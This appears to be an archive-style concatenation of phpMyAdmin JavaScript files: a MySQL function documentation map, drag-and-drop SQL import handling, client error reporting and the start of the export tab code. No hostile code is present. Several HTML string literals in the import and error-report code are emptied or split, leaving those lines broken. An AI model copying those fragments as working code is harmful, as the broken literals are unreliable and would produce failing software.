TABLE': ['rename-table'], 'TRUNCATE TABLE': ['truncate-table'], /* Statements */ 'SELECT': ['select'], 'SET': ['set'], 'EXPLAIN': ['explain'], 'DESCRIBE': ['describe'], 'DELETE': ['delete'], 'SHOW': ['show'], 'UPDATE': ['update'], 'INSERT': ['insert'], 'REPLACE': ['replace'], 'CALL': ['call'], 'DO': ['do'], 'HANDLER': ['handler'], 'COLLATE': ['charset-collations'], /* Functions */ 'ABS': ['mathematical-functions', 'function_abs'], 'ACOS': ['mathematical-functions', 'function_acos'], 'ADDDATE': ['date-and-time-functions', 'function_adddate'], 'ADDTIME': ['date-and-time-functions', 'function_addtime'], 'AES_DECRYPT': ['encryption-functions', 'function_aes_decrypt'], 'AES_ENCRYPT': ['encryption-functions', 'function_aes_encrypt'], 'AND': ['logical-operators', 'operator_and'], 'ASCII': ['string-functions', 'function_ascii'], 'ASIN': ['mathematical-functions', 'function_asin'], 'ATAN2': ['mathematical-functions', 'function_atan2'], 'ATAN': ['mathematical-functions', 'function_atan'], 'AVG': ['aggregate-functions', 'function_avg'], 'BENCHMARK': ['information-functions', 'function_benchmark'], 'BIN': ['string-functions', 'function_bin'], 'BINARY': ['cast-functions', 'operator_binary'], 'BIT_AND': ['aggregate-functions', 'function_bit_and'], 'BIT_COUNT': ['bit-functions', 'function_bit_count'], 'BIT_LENGTH': ['string-functions', 'function_bit_length'], 'BIT_OR': ['aggregate-functions', 'function_bit_or'], 'BIT_XOR': ['aggregate-functions', 'function_bit_xor'], 'CASE': ['control-flow-functions', 'operator_case'], 'CAST': ['cast-functions', 'function_cast'], 'CEIL': ['mathematical-functions', 'function_ceil'], 'CEILING': ['mathematical-functions', 'function_ceiling'], 'CHAR_LENGTH': ['string-functions', 'function_char_length'], 'CHAR': ['string-functions', 'function_char'], 'CHARACTER_LENGTH': ['string-functions', 'function_character_length'], 'CHARSET': ['information-functions', 'function_charset'], 'COALESCE': ['comparison-operators', 'function_coalesce'], 'COERCIBILITY': ['information-functions', 'function_coercibility'], 'COLLATION': ['information-functions', 'function_collation'], 'COMPRESS': ['encryption-functions', 'function_compress'], 'CONCAT_WS': ['string-functions', 'function_concat_ws'], 'CONCAT': ['string-functions', 'function_concat'], 'CONNECTION_ID': ['information-functions', 'function_connection_id'], 'CONV': ['mathematical-functions', 'function_conv'], 'CONVERT_TZ': ['date-and-time-functions', 'function_convert_tz'], 'Convert': ['cast-functions', 'function_convert'], 'COS': ['mathematical-functions', 'function_cos'], 'COT': ['mathematical-functions', 'function_cot'], 'COUNT': ['aggregate-functions', 'function_count'], 'CRC32': ['mathematical-functions', 'function_crc32'], 'CURDATE': ['date-and-time-functions', 'function_curdate'], 'CURRENT_DATE': ['date-and-time-functions', 'function_current_date'], 'CURRENT_TIME': ['date-and-time-functions', 'function_current_time'], 'CURRENT_TIMESTAMP': ['date-and-time-functions', 'function_current_timestamp'], 'CURRENT_USER': ['information-functions', 'function_current_user'], 'CURTIME': ['date-and-time-functions', 'function_curtime'], 'DATABASE': ['information-functions', 'function_database'], 'DATE_ADD': ['date-and-time-functions', 'function_date_add'], 'DATE_FORMAT': ['date-and-time-functions', 'function_date_format'], 'DATE_SUB': ['date-and-time-functions', 'function_date_sub'], 'DATE': ['date-and-time-functions', 'function_date'], 'DATEDIFF': ['date-and-time-functions', 'function_datediff'], 'DAY': ['date-and-time-functions', 'function_day'], 'DAYNAME': ['date-and-time-functions', 'function_dayname'], 'DAYOFMONTH': ['date-and-time-functions', 'function_dayofmonth'], 'DAYOFWEEK': ['date-and-time-functions', 'function_dayofweek'], 'DAYOFYEAR': ['date-and-time-functions', 'function_dayofyear'], 'DECLARE': ['declare', 'declare'], 'DECODE': ['encryption-functions', 'function_decode'], 'DEFAULT': ['miscellaneous-functions', 'function_default'], 'DEGREES': ['mathematical-functions', 'function_degrees'], 'DES_DECRYPT': ['encryption-functions', 'function_des_decrypt'], 'DES_ENCRYPT': ['encryption-functions', 'function_des_encrypt'], 'DIV': ['arithmetic-functions', 'operator_div'], 'ELT': ['string-functions', 'function_elt'], 'ENCODE': ['encryption-functions', 'function_encode'], 'ENCRYPT': ['encryption-functions', 'function_encrypt'], 'EXP': ['mathematical-functions', 'function_exp'], 'EXPORT_SET': ['string-functions', 'function_export_set'], 'EXTRACT': ['date-and-time-functions', 'function_extract'], 'ExtractValue': ['xml-functions', 'function_extractvalue'], 'FIELD': ['string-functions', 'function_field'], 'FIND_IN_SET': ['string-functions', 'function_find_in_set'], 'FLOOR': ['mathematical-functions', 'function_floor'], 'FORMAT': ['string-functions', 'function_format'], 'FOUND_ROWS': ['information-functions', 'function_found_rows'], 'FROM_DAYS': ['date-and-time-functions', 'function_from_days'], 'FROM_UNIXTIME': ['date-and-time-functions', 'function_from_unixtime'], 'GET_FORMAT': ['date-and-time-functions', 'function_get_format'], 'GET_LOCK': ['miscellaneous-functions', 'function_get_lock'], 'GREATEST': ['comparison-operators', 'function_greatest'], 'GROUP_CONCAT': ['aggregate-functions', 'function_group_concat'], 'HEX': ['string-functions', 'function_hex'], 'HOUR': ['date-and-time-functions', 'function_hour'], 'IF': ['control-flow-functions', 'function_if'], 'IFNULL': ['control-flow-functions', 'function_ifnull'], 'IN': ['comparison-operators', 'function_in'], 'INET_ATON': ['miscellaneous-functions', 'function_inet_aton'], 'INET_NTOA': ['miscellaneous-functions', 'function_inet_ntoa'], 'INSTR': ['string-functions', 'function_instr'], 'INTERVAL': ['comparison-operators', 'function_interval'], 'IS_FREE_LOCK': ['miscellaneous-functions', 'function_is_free_lock'], 'IS_USED_LOCK': ['miscellaneous-functions', 'function_is_used_lock'], 'IS': ['comparison-operators', 'operator_is'], 'ISNULL': ['comparison-operators', 'function_isnull'], 'LAST_DAY': ['date-and-time-functions', 'function_last_day'], 'LAST_INSERT_ID': ['information-functions', 'function_last_insert_id'], 'LCASE': ['string-functions', 'function_lcase'], 'LEAST': ['comparison-operators', 'function_least'], 'LEFT': ['string-functions', 'function_left'], 'LENGTH': ['string-functions', 'function_length'], 'LIKE': ['string-comparison-functions', 'operator_like'], 'LN': ['mathematical-functions', 'function_ln'], 'LOAD_FILE': ['string-functions', 'function_load_file'], 'LOCALTIME': ['date-and-time-functions', 'function_localtime'], 'LOCALTIMESTAMP': ['date-and-time-functions', 'function_localtimestamp'], 'LOCATE': ['string-functions', 'function_locate'], 'LOG10': ['mathematical-functions', 'function_log10'], 'LOG2': ['mathematical-functions', 'function_log2'], 'LOG': ['mathematical-functions', 'function_log'], 'LOWER': ['string-functions', 'function_lower'], 'LPAD': ['string-functions', 'function_lpad'], 'LTRIM': ['string-functions', 'function_ltrim'], 'MAKE_SET': ['string-functions', 'function_make_set'], 'MAKEDATE': ['date-and-time-functions', 'function_makedate'], 'MAKETIME': ['date-and-time-functions', 'function_maketime'], 'MASTER_POS_WAIT': ['miscellaneous-functions', 'function_master_pos_wait'], 'MATCH': ['fulltext-search', 'function_match'], 'MAX': ['aggregate-functions', 'function_max'], 'MD5': ['encryption-functions', 'function_md5'], 'MICROSECOND': ['date-and-time-functions', 'function_microsecond'], 'MID': ['string-functions', 'function_mid'], 'MIN': ['aggregate-functions', 'function_min'], 'MINUTE': ['date-and-time-functions', 'function_minute'], 'MOD': ['mathematical-functions', 'function_mod'], 'MONTH': ['date-and-time-functions', 'function_month'], 'MONTHNAME': ['date-and-time-functions', 'function_monthname'], 'NAME_CONST': ['miscellaneous-functions', 'function_name_const'], 'NOT': ['logical-operators', 'operator_not'], 'NOW': ['date-and-time-functions', 'function_now'], 'NULLIF': ['control-flow-functions', 'function_nullif'], 'OCT': ['mathematical-functions', 'function_oct'], 'OCTET_LENGTH': ['string-functions', 'function_octet_length'], 'OLD_PASSWORD': ['encryption-functions', 'function_old_password'], 'OR': ['logical-operators', 'operator_or'], 'ORD': ['string-functions', 'function_ord'], 'PASSWORD': ['encryption-functions', 'function_password'], 'PERIOD_ADD': ['date-and-time-functions', 'function_period_add'], 'PERIOD_DIFF': ['date-and-time-functions', 'function_period_diff'], 'PI': ['mathematical-functions', 'function_pi'], 'POSITION': ['string-functions', 'function_position'], 'POW': ['mathematical-functions', 'function_pow'], 'POWER': ['mathematical-functions', 'function_power'], 'QUARTER': ['date-and-time-functions', 'function_quarter'], 'QUOTE': ['string-functions', 'function_quote'], 'RADIANS': ['mathematical-functions', 'function_radians'], 'RAND': ['mathematical-functions', 'function_rand'], 'REGEXP': ['regexp', 'operator_regexp'], 'RELEASE_LOCK': ['miscellaneous-functions', 'function_release_lock'], 'REPEAT': ['string-functions', 'function_repeat'], 'REVERSE': ['string-functions', 'function_reverse'], 'RIGHT': ['string-functions', 'function_right'], 'RLIKE': ['regexp', 'operator_rlike'], 'ROUND': ['mathematical-functions', 'function_round'], 'ROW_COUNT': ['information-functions', 'function_row_count'], 'RPAD': ['string-functions', 'function_rpad'], 'RTRIM': ['string-functions', 'function_rtrim'], 'SCHEMA': ['information-functions', 'function_schema'], 'SEC_TO_TIME': ['date-and-time-functions', 'function_sec_to_time'], 'SECOND': ['date-and-time-functions', 'function_second'], 'SESSION_USER': ['information-functions', 'function_session_user'], 'SHA': ['encryption-functions', 'function_sha1'], 'SHA1': ['encryption-functions', 'function_sha1'], 'SIGN': ['mathematical-functions', 'function_sign'], 'SIN': ['mathematical-functions', 'function_sin'], 'SLEEP': ['miscellaneous-functions', 'function_sleep'], 'SOUNDEX': ['string-functions', 'function_soundex'], 'SPACE': ['string-functions', 'function_space'], 'SQRT': ['mathematical-functions', 'function_sqrt'], 'STD': ['aggregate-functions', 'function_std'], 'STDDEV_POP': ['aggregate-functions', 'function_stddev_pop'], 'STDDEV_SAMP': ['aggregate-functions', 'function_stddev_samp'], 'STDDEV': ['aggregate-functions', 'function_stddev'], 'STR_TO_DATE': ['date-and-time-functions', 'function_str_to_date'], 'STRCMP': ['string-comparison-functions', 'function_strcmp'], 'SUBDATE': ['date-and-time-functions', 'function_subdate'], 'SUBSTR': ['string-functions', 'function_substr'], 'SUBSTRING_INDEX': ['string-functions', 'function_substring_index'], 'SUBSTRING': ['string-functions', 'function_substring'], 'SUBTIME': ['date-and-time-functions', 'function_subtime'], 'SUM': ['aggregate-functions', 'function_sum'], 'SYSDATE': ['date-and-time-functions', 'function_sysdate'], 'SYSTEM_USER': ['information-functions', 'function_system_user'], 'TAN': ['mathematical-functions', 'function_tan'], 'TIME_FORMAT': ['date-and-time-functions', 'function_time_format'], 'TIME_TO_SEC': ['date-and-time-functions', 'function_time_to_sec'], 'TIME': ['date-and-time-functions', 'function_time'], 'TIMEDIFF': ['date-and-time-functions', 'function_timediff'], 'TIMESTAMP': ['date-and-time-functions', 'function_timestamp'], 'TIMESTAMPADD': ['date-and-time-functions', 'function_timestampadd'], 'TIMESTAMPDIFF': ['date-and-time-functions', 'function_timestampdiff'], 'TO_DAYS': ['date-and-time-functions', 'function_to_days'], 'TRIM': ['string-functions', 'function_trim'], 'TRUNCATE': ['mathematical-functions', 'function_truncate'], 'UCASE': ['string-functions', 'function_ucase'], 'UNCOMPRESS': ['encryption-functions', 'function_uncompress'], 'UNCOMPRESSED_LENGTH': ['encryption-functions', 'function_uncompressed_length'], 'UNHEX': ['string-functions', 'function_unhex'], 'UNIX_TIMESTAMP': ['date-and-time-functions', 'function_unix_timestamp'], 'UpdateXML': ['xml-functions', 'function_updatexml'], 'UPPER': ['string-functions', 'function_upper'], 'USER': ['information-functions', 'function_user'], 'UTC_DATE': ['date-and-time-functions', 'function_utc_date'], 'UTC_TIME': ['date-and-time-functions', 'function_utc_time'], 'UTC_TIMESTAMP': ['date-and-time-functions', 'function_utc_timestamp'], 'UUID_SHORT': ['miscellaneous-functions', 'function_uuid_short'], 'UUID': ['miscellaneous-functions', 'function_uuid'], 'VALUES': ['miscellaneous-functions', 'function_values'], 'VAR_POP': ['aggregate-functions', 'function_var_pop'], 'VAR_SAMP': ['aggregate-functions', 'function_var_samp'], 'VARIANCE': ['aggregate-functions', 'function_variance'], 'VERSION': ['information-functions', 'function_version'], 'WEEK': ['date-and-time-functions', 'function_week'], 'WEEKDAY': ['date-and-time-functions', 'function_weekday'], 'WEEKOFYEAR': ['date-and-time-functions', 'function_weekofyear'], 'XOR': ['logical-operators', 'operator_xor'], 'YEAR': ['date-and-time-functions', 'function_year'], 'YEARWEEK': ['date-and-time-functions', 'function_yearweek'], 'SOUNDS_LIKE': ['string-functions', 'operator_sounds-like'], 'IS_NOT_NULL': ['comparison-operators', 'operator_is-not-null'], 'IS_NOT': ['comparison-operators', 'operator_is-not'], 'IS_NULL': ['comparison-operators', 'operator_is-null'], 'NOT_LIKE': ['string-comparison-functions', 'operator_not-like'], 'NOT_REGEXP': ['regexp', 'operator_not-regexp'], 'COUNT_DISTINCT': ['aggregate-functions', 'function_count-distinct'], 'NOT_IN': ['comparison-operators', 'function_not-in'] }; // eslint-disable-next-line no-unused-vars var mysqlDocBuiltin = { 'TINYINT': ['numeric-types'], 'SMALLINT': ['numeric-types'], 'MEDIUMINT': ['numeric-types'], 'INT': ['numeric-types'], 'BIGINT': ['numeric-types'], 'DECIMAL': ['numeric-types'], 'FLOAT': ['numeric-types'], 'DOUBLE': ['numeric-types'], 'REAL': ['numeric-types'], 'BIT': ['numeric-types'], 'BOOLEAN': ['numeric-types'], 'SERIAL': ['numeric-types'], 'DATE': ['date-and-time-types'], 'DATETIME': ['date-and-time-types'], 'TIMESTAMP': ['date-and-time-types'], 'TIME': ['date-and-time-types'], 'YEAR': ['date-and-time-types'], 'CHAR': ['string-types'], 'VARCHAR': ['string-types'], 'TINYTEXT': ['string-types'], 'TEXT': ['string-types'], 'MEDIUMTEXT': ['string-types'], 'LONGTEXT': ['string-types'], 'BINARY': ['string-types'], 'VARBINARY': ['string-types'], 'TINYBLOB': ['string-types'], 'MEDIUMBLOB': ['string-types'], 'BLOB': ['string-types'], 'LONGBLOB': ['string-types'], 'ENUM': ['string-types'], 'SET': ['string-types'] }; src/drag_drop_import.js000066600000034433151724472050011246 0ustar00 /* This script handles PMA Drag Drop Import, loaded only when configuration is enabled.*/ /** * Class to handle PMA Drag and Drop Import * feature */ var DragDropImport = { /** * @var {number}, count of total uploads in this view */ uploadCount: 0, /** * @var {number}, count of live uploads */ liveUploadCount: 0, /** * @var {string[]} array, allowed extensions */ allowedExtensions: ['sql', 'xml', 'ldi', 'mediawiki', 'shp'], /** * @var {string[]} array, allowed extensions for compressed files */ allowedCompressedExtensions: ['gz', 'bz2', 'zip'], /** * @var {object[]}, array to store message returned by /import-status */ importStatus: [], /** * Checks if any dropped file has valid extension or not * * @param {string} file filename * * @return {string}, extension for valid extension, '' otherwise */ getExtension: function (file) { var arr = file.split('.'); var ext = arr[arr.length - 1]; // check if compressed if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedCompressedExtensions) !== -1) { ext = arr[arr.length - 2]; } // Now check for extension if (jQuery.inArray(ext.toLowerCase(), DragDropImport.allowedExtensions) !== -1) { return ext; } return ''; }, /** * Shows upload progress for different sql uploads * * @param {string} hash, hash for specific file upload * @param {number} percent (float), file upload percentage * * @return {void} */ setProgress: function (hash, percent) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .children('progress').val(percent); }, /** * Function to upload the file asynchronously * * @param {object} formData FormData object for a specific file * @param {string} hash hash of the current file upload * * @return {void} */ sendFileToServer: function (formData, hash) { var jqXHR = $.ajax({ xhr: function () { var xhrobj = $.ajaxSettings.xhr(); if (xhrobj.upload) { xhrobj.upload.addEventListener('progress', function (event) { var percent = 0; var position = event.loaded || event.position; var total = event.total; if (event.lengthComputable) { percent = Math.ceil(position / total * 100); } // Set progress DragDropImport.setProgress(hash, percent); }, false); } return xhrobj; }, url: 'index.php?route=/import', type: 'POST', contentType:false, processData: false, cache: false, data: formData, success: function (data) { DragDropImport.importFinished(hash, false, data.success); if (!data.success) { DragDropImport.importStatus[DragDropImport.importStatus.length] = { hash: hash, message: data.error }; } } }); // -- provide link to cancel the upload $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize').html('' + Messages.dropImportMessageCancel + ''); // -- add event listener to this link to abort upload operation $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .on('click', function () { if ($(this).attr('task') === 'cancel') { jqXHR.abort(); $(this).html('' + Messages.dropImportMessageAborted + ''); DragDropImport.importFinished(hash, true, false); } else if ($(this).children('span').html() === Messages.dropImportMessageFailed) { // -- view information var $this = $(this); $.each(DragDropImport.importStatus, function (key, value) { if (value.hash === hash) { $('.pma_drop_result:visible').remove(); var filename = $this.parent('span').attr('data-filename'); $('body').append('

        ' + Messages.dropImportImportResultHeader + ' - ' + Functions.escapeHtml(filename) + 'x

        ' + value.message + '
        '); $('.pma_drop_result').draggable(); // to make this dialog draggable } }); } }); }, /** * Triggered when an object is dragged into the PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragEnter : function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } if (CommonParams.get('db') === '') { $('.pma_drop_handler').html(Messages.dropImportSelectDB); } else { $('.pma_drop_handler').html(Messages.dropImportDropFiles); } $('.pma_drop_handler').fadeIn(); }, /** * Check if dragged element contains Files * * @param event the event object * * @return {boolean} */ hasFiles: function (event) { return !(typeof event.originalEvent.dataTransfer.types === 'undefined' || $.inArray('Files', event.originalEvent.dataTransfer.types) < 0 || $.inArray( 'application/x-moz-nativeimage', event.originalEvent.dataTransfer.types ) >= 0); }, /** * Triggered when dragged file is being dragged over PMA UI * * @param {MouseEvent} event obj * * @return {void} */ dragOver: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); if (!DragDropImport.hasFiles(event)) { return; } $('.pma_drop_handler').fadeIn(); }, /** * Triggered when dragged objects are left * * @param {MouseEvent} event obj * * @return {void} */ dragLeave: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } event.stopPropagation(); event.preventDefault(); var $dropHandler = $('.pma_drop_handler'); $dropHandler.clearQueue().stop(); $dropHandler.fadeOut(); $dropHandler.html(Messages.dropImportDropFiles); }, /** * Called when upload has finished * * @param {string} hash unique hash for a certain upload * @param {boolean} aborted true if upload was aborted * @param {boolean} status status of sql upload, as sent by server * * @return {void} */ importFinished: function (hash, aborted, status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .children('progress').hide(); var icon = 'icon ic_s_success'; // -- provide link to view upload status if (!aborted) { if (status) { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .html('' + Messages.dropImportMessageSuccess + ''); } else { $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .html('' + Messages.dropImportMessageFailed + ''); icon = 'icon ic_s_error'; } } else { icon = 'icon ic_s_notice'; } $('.pma_sql_import_status div li[data-hash="' + hash + '"] span.filesize span.pma_drop_file_status') .attr('task', 'info'); // Set icon $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .prepend(' '); // Decrease liveUploadCount by one $('.pma_import_count').html(--DragDropImport.liveUploadCount); if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } }, /** * Triggered when dragged objects are dropped to UI * From this function, the AJAX Upload operation is initiated * * @param event object * * @return {void} */ drop: function (event) { // We don't want to prevent users from using // browser's default drag-drop feature on some page(s) if ($('.noDragDrop').length !== 0) { return; } var dbname = CommonParams.get('db'); var server = CommonParams.get('server'); // if no database is selected -- no if (dbname !== '') { var files = event.originalEvent.dataTransfer.files; if (!files || files.length === 0) { // No files actually transferred $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); return; } $('.pma_sql_import_status').slideDown(); for (var i = 0; i < files.length; i++) { var ext = (DragDropImport.getExtension(files[i].name)); var hash = AJAX.hash(++DragDropImport.uploadCount); var $sqlImportStatusDiv = $('.pma_sql_import_status div'); $sqlImportStatusDiv.append('
      • ' + ((ext !== '') ? '' : ' ') + Functions.escapeHtml(files[i].name) + '' + (files[i].size / 1024).toFixed(2) + ' kb
      • '); // scroll the UI to bottom $sqlImportStatusDiv.scrollTop( $sqlImportStatusDiv.scrollTop() + 50 ); // 50 hardcoded for now if (ext !== '') { // Increment liveUploadCount by one $('.pma_import_count').html(++DragDropImport.liveUploadCount); $('.pma_sql_import_status h2 .close').fadeOut(); $('.pma_sql_import_status div li[data-hash="' + hash + '"]') .append('
        '); // uploading var fd = new FormData(); fd.append('import_file', files[i]); fd.append('noplugin', Math.random().toString(36).substring(2, 12)); fd.append('db', dbname); fd.append('server', server); fd.append('token', CommonParams.get('token')); fd.append('import_type', 'database'); // todo: method to find the value below fd.append('MAX_FILE_SIZE', '4194304'); // todo: method to find the value below fd.append('charset_of_file','utf-8'); // todo: method to find the value below fd.append('allow_interrupt', 'yes'); fd.append('skip_queries', '0'); fd.append('format',ext); fd.append('sql_compatibility','NONE'); fd.append('sql_no_auto_value_on_zero','something'); fd.append('ajax_request','true'); fd.append('hash', hash); // init uploading DragDropImport.sendFileToServer(fd, hash); } else if (!DragDropImport.liveUploadCount) { $('.pma_sql_import_status h2 .close').fadeIn(); } } } $('.pma_drop_handler').fadeOut(); event.stopPropagation(); event.preventDefault(); } }; /** * Called when some user drags, dragover, leave * a file to the PMA UI * @param {object}, Event data * @return {void} */ $(document).on('dragenter', DragDropImport.dragEnter); $(document).on('dragover', DragDropImport.dragOver); $(document).on('dragleave', '.pma_drop_handler', DragDropImport.dragLeave); // when file is dropped to PMA UI $(document).on('drop', 'body', DragDropImport.drop); // minimizing-maximizing the sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .minimize', function () { if ($(this).attr('toggle') === 'off') { $('.pma_sql_import_status div').css('height','270px'); $(this).attr('toggle','on'); $(this).html('-'); // to minimize } else { $('.pma_sql_import_status div').css('height','0px'); $(this).attr('toggle','off'); $(this).html('+'); // to maximise } }); // closing sql ajax upload status $(document).on('click', '.pma_sql_import_status h2 .close', function () { $('.pma_sql_import_status').fadeOut(function () { $('.pma_sql_import_status div').html(''); DragDropImport.importStatus = []; // clear the message array }); }); // Closing the import result box $(document).on('click', '.pma_drop_result h2 .close', function () { $(this).parent('h2').parent('div').remove(); }); src/error_report.js000066600000024531151724472050010435 0ustar00 /* global TraceKit */ // js/vendor/tracekit.js /** * general function, usually for data manipulation pages * */ var ErrorReport = { /** * @var {object}, stores the last exception info */ lastException: null, /** * @var object stores the Error Report Data to prevent unnecessary data fetching */ errorReportData: null, /** * @var object maintains unique keys already used */ keyDict: {}, /** * handles thrown error exceptions based on user preferences * * @param {object} data * @param {any} exception * @return {void} */ errorDataHandler: function (data, exception) { if (data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } if (data.report_setting === 'ask') { ErrorReport.showErrorNotification(); } else if (data.report_setting === 'always') { var reportData = ErrorReport.getReportData(exception); var postData = $.extend(reportData, { 'send_error_report': true, 'automatic': true }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, false); } }); } }, errorHandler: function (exception) { // issue: 14359 if (JSON.stringify(ErrorReport.lastException) === JSON.stringify(exception)) { return; } if (exception.name === null || typeof(exception.name) === 'undefined') { exception.name = ErrorReport.extractExceptionName(exception); } ErrorReport.lastException = exception; if (ErrorReport.errorReportData === null) { $.post('index.php?route=/error-report', { 'ajax_request': true, 'server': CommonParams.get('server'), 'get_settings': true, 'exception_type': 'js' }, function (data) { ErrorReport.errorReportData = data; ErrorReport.errorDataHandler(data, exception); }); } else { ErrorReport.errorDataHandler(ErrorReport.errorReportData, exception); } }, /** * Shows the modal dialog previewing the report * * @param exception object error report info * * @return {void} */ showReportDialog: function (exception) { const reportData = ErrorReport.getReportData(exception); const sendErrorReport = function () { const postData = $.extend(reportData, { 'send_error_report': true, 'description': $('#errorReportDescription').val(), 'always_send': $('#errorReportAlwaysSendCheckbox')[0].checked }); $.post('index.php?route=/error-report', postData, function (data) { if (data.success === false) { Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxShowMessage(data.message, 3000); } }); $('#errorReportModal').modal('hide'); }; $.post('index.php?route=/error-report', reportData).done(function (data) { // Delete the modal to refresh it in case the user changed SendErrorReports value if (document.getElementById('errorReportModal') !== null) { $('#errorReportModal').remove(); } $('body').append($(data.report_modal)); const $errorReportModal = $('#errorReportModal'); $errorReportModal.on('show.bs.modal', function () { // Prevents multiple onClick events $('#errorReportModalConfirm').off('click', sendErrorReport); $('#errorReportModalConfirm').on('click', sendErrorReport); $('#errorReportModal .modal-body').html(data.message); }); $errorReportModal.modal('show'); }); }, /** * Shows the small notification that asks for user permission * * @return {void} */ showErrorNotification: function () { var key = Math.random().toString(36).substring(2, 12); while (key in ErrorReport.keyDict) { key = Math.random().toString(36).substring(2, 12); } ErrorReport.keyDict[key] = 1; var $div = $( '' ).append( Functions.getImage('s_error') + Messages.strErrorOccurred ); var $buttons = $('
        '); var buttonHtml = ''; var settingsUrl = 'index.php?route=/preferences/features&server=' + CommonParams.get('server'); buttonHtml += ''; buttonHtml += Functions.getImage('s_cog', Messages.strChangeReportSettings); buttonHtml += ''; buttonHtml += ''; buttonHtml += Functions.getImage('b_close', Messages.strIgnore); buttonHtml += ''; $buttons.html(buttonHtml); $div.append($buttons); // eslint-disable-next-line compat/compat $div.appendTo(document.body); $(document).on('click', '#show_error_report_' + key, ErrorReport.createReportDialog); $(document).on('click', '#ignore_error_' + key, ErrorReport.removeErrorNotification); }, /** * Removes the notification if it was displayed before * * @param {Event} e * @return {void} */ removeErrorNotification: function (e) { if (e) { // don't remove the hash fragment by navigating to # e.preventDefault(); } $('#error_notification_' + $(this).data('notification-id')).fadeOut(function () { $(this).remove(); }); }, /** * Extracts Exception name from message if it exists * * @param exception * @return {string} */ extractExceptionName: function (exception) { if (exception.message === null || typeof(exception.message) === 'undefined') { return ''; } var reg = /([a-zA-Z]+):/; var regexResult = reg.exec(exception.message); if (regexResult && regexResult.length === 2) { return regexResult[1]; } return ''; }, /** * Shows the modal dialog previewing the report * * @return {void} */ createReportDialog: function () { ErrorReport.removeErrorNotification(); ErrorReport.showReportDialog(ErrorReport.lastException); }, /** * Returns the report data to send to the server * * @param exception object exception info * * @return {object} */ getReportData: function (exception) { if (exception && exception.stack && exception.stack.length) { for (var i = 0; i < exception.stack.length; i++) { var stack = exception.stack[i]; if (stack.context && stack.context.length) { for (var j = 0; j < stack.context.length; j++) { if (stack.context[j].length > 80) { stack.context[j] = stack.context[j].substring(-1, 75) + '//...'; } } } } } var reportData = { 'server': CommonParams.get('server'), 'ajax_request': true, 'exception': exception, 'url': window.location.href, 'exception_type': 'js' }; if (AJAX.scriptHandler.scripts.length > 0) { reportData.scripts = AJAX.scriptHandler.scripts.map( function (script) { return script; } ); } return reportData; }, /** * Wraps given function in error reporting code and returns wrapped function * * @param {Function} func function to be wrapped * * @return {Function} */ wrapFunction: function (func) { if (!func.wrapped) { var newFunc = function () { try { return func.apply(this, arguments); } catch (x) { TraceKit.report(x); } }; newFunc.wrapped = true; // Set guid of wrapped function same as original function, so it can be removed // See bug#4146 (problem with jquery draggable and sortable) newFunc.guid = func.guid = func.guid || newFunc.guid || jQuery.guid++; return newFunc; } else { return func; } }, /** * Automatically wraps the callback in AJAX.registerOnload * * @return {void} */ wrapAjaxOnloadCallback: function () { var oldOnload = AJAX.registerOnload; AJAX.registerOnload = function (file, func) { var wrappedFunction = ErrorReport.wrapFunction(func); oldOnload.call(this, file, wrappedFunction); }; }, /** * Automatically wraps the callback in $.fn.on * * @return {void} */ wrapJqueryOnCallback: function () { var oldOn = $.fn.on; $.fn.on = function () { for (var i = 1; i <= 3; i++) { if (typeof(arguments[i]) === 'function') { arguments[i] = ErrorReport.wrapFunction(arguments[i]); break; } } return oldOn.apply(this, arguments); }; }, /** * Wraps the callback in AJAX.registerOnload automatically * * @return {void} */ setUpErrorReporting: function () { ErrorReport.wrapAjaxOnloadCallback(); ErrorReport.wrapJqueryOnCallback(); } }; AJAX.registerOnload('error_report.js', function () { TraceKit.report.subscribe(ErrorReport.errorHandler); ErrorReport.setUpErrorReporting(); }); src/export.js000066600000104574151724472050007240 0ustar00/** * Functions used in the export tab * */ var Export = {}; /** * Disables the "Dump some row(s)" sub-options */ Export.disableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 0.4); $('label[for=\'limit_from\']').fadeTo('fast', 0.4); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', 'disabled'); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', 'disabled'); }; /** * Enables the "Dump some row(s)" sub-options */ Export.enableDumpSomeRowsSubOptions = function () { $('label[for=\'limit_to\']').fadeTo('fast', 1); $('label[for=\'limit_from\']').fadeTo('fast', 1); $('input[type=\'text\'][name=\'limit_to\']').prop('disabled', ''); $('input[type=\'text\'][name=\'limit_from\']').prop('disabled', ''); }; /** * Return template data as a json object * * @return {object} template data */ Export.getTemplateData = function () { var $form = $('form[name="dump"]'); var excludeList = ['token', 'server', 'db', 'table', 'single_table', 'export_type', 'export_method', 'sql_query', 'template_id']; var obj = {}; var arr = $form.serializeArray(); $.each(arr, function () { if ($.inArray(this.name, excludeList) < 0) { if (obj[this.name] !== undefined) { if (! obj[this.name].push) { obj[this.name] = [obj[this.name]]; } obj[this.name].push(this.value || ''); } else { obj[this.name] = this.value || ''; } } }); // include unchecked checkboxes (which are ignored by serializeArray()) with null // to uncheck them when loading the template 